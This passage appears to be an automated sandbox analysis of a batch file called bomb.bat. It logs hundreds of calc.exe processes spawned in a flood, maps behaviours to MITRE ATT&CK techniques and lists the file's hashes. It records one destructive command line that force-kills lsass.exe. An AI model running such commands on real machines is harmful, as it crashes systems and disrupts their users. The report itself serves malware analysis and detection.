- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11192
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11204
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11224
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11236
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11244
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11252
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11260
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11272
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11280
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11288
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11296
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11308
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11316
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11324
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11336
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11344
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11352
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11360
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11372
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11384
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11396
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11404
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11412
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11424
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11436
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11448
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11460
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11468
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11476
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11488
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11496
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11508
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11516
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11524
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11532
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11544
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11556
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11568
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11576
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11584
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11592
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11604
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11612
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11620
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11632
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11644
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11652
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11660
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11668
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11680
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11688
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11700
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11720
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11728
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11736
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11744
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11756
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11764
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11772
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11788
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11800
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11808
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11816
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11828
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11836
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11844
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11856
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11864
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11872
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11888
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11900
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11908
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11916
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11928
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11944
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11952
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11964
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11976
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11984
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:11992
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12000
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12012
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12020
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12028
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12036
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12048
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12056
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12064
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12072
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12080
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12088
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12096
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12116
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12124
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12132
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12140
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12148
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12156
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12164
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12172
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:12180
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16564
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16588
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16600
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16608
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16616
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16624
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16632
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16640
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16648
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16656
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16664
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16672
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16680
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16688
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16700
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16708
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16716
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16724
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16732
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16748
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16760
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16768
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16776
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16784
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16792
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16800
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16808
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16816
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16824
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16832
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16840
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16848
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16856
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16864
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16872
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20348
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20356
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20364
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20372
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20380
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20388
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20396
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20404
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20412
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20420
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20428
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20452
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20476
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2276
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:10512
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:15908
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:16496
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4120
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20344
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:10064
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7284
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:14968
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:7268
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1140
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5704
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20488
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20496
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20504
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20512
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20520
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20528
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20536
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20544
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20552
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20560
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20568
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20576
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20584
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20592
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20620
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20636
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20648
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20656
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20664
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20672
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20680
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20688
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20696
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20704
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20712
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20720
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20728
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20736
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20744
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20752
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20760
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20768
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20776
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20784
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20792
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20800
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20808
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20816
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20824
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20832
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20840
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20848
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20856
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20864
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20872
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20880
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20888
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20896
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20904
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20912
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20920
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20932
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20944
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20960
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20968
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20980
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:20992
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21004
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21024
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21036
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21044
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21052
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21060
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21068
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21076
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21084
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21092
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21100
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21108
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21116
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21124
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21132
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21140
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21148
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21156
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21164
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21172
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21180
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21188
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21196
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21204
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21212
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21220
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21228
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21236
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21244
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21252
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21260
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21268
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21276
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21284
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21292
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21300
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21308
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21316
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21324
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21332
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21340
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21348
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21356
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21364
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21372
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21380
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21388
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21396
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21404
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21412
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21420
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21428
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21436
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21444
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21452
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21460
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21468
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21476
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21484
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21496
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21508
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21520
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21528
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21536
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21544
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21552
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21560
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21568
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21576
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21584
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21592
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21600
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21608
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21616
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21624
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21632
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21640
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21648
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21656
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21664
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21672
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21680
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21688
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21696
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21704
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21712
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21720
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21728
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21736
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21744
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21752
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21760
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21768
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21776
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21784
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21792
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21800
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21808
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21816
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21824
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21832
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21840
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21848
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21856
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21864
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21872
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21880
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21888
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21896
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21904
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21912
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21920
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21928
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21936
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21944
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21952
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21960
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21968
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21976
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21984
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:21992
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:22000
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:22008
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:22016
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:22024
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:22032
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:22040
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:22048
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:22056
- C:\Windows\system32\taskkill.exe
  taskkill /f /im lsass.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3948

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6004

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

bomb.bat

Path C:\Users\Admin\AppData\Local\Temp\bomb.bat
Size 49B
SHA256 629e3dbf25dfc3b256e1dc617f1100b3245da7ae397edb44458630bc91c427b6
MD5 fb1c4e3a5360ddf3c89e3d8be8e3b6ba
SHA1 e481af562102a14cc23540d4ea3e48c9047bfc63
SHA512 4362342274f5e14f5bdc01f3a25522a414514805df4eca3a8557ec96061b93151cfc2a9aea48876bae095e8bbf45c85ef1500abb73220842dc5a19945408a944
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads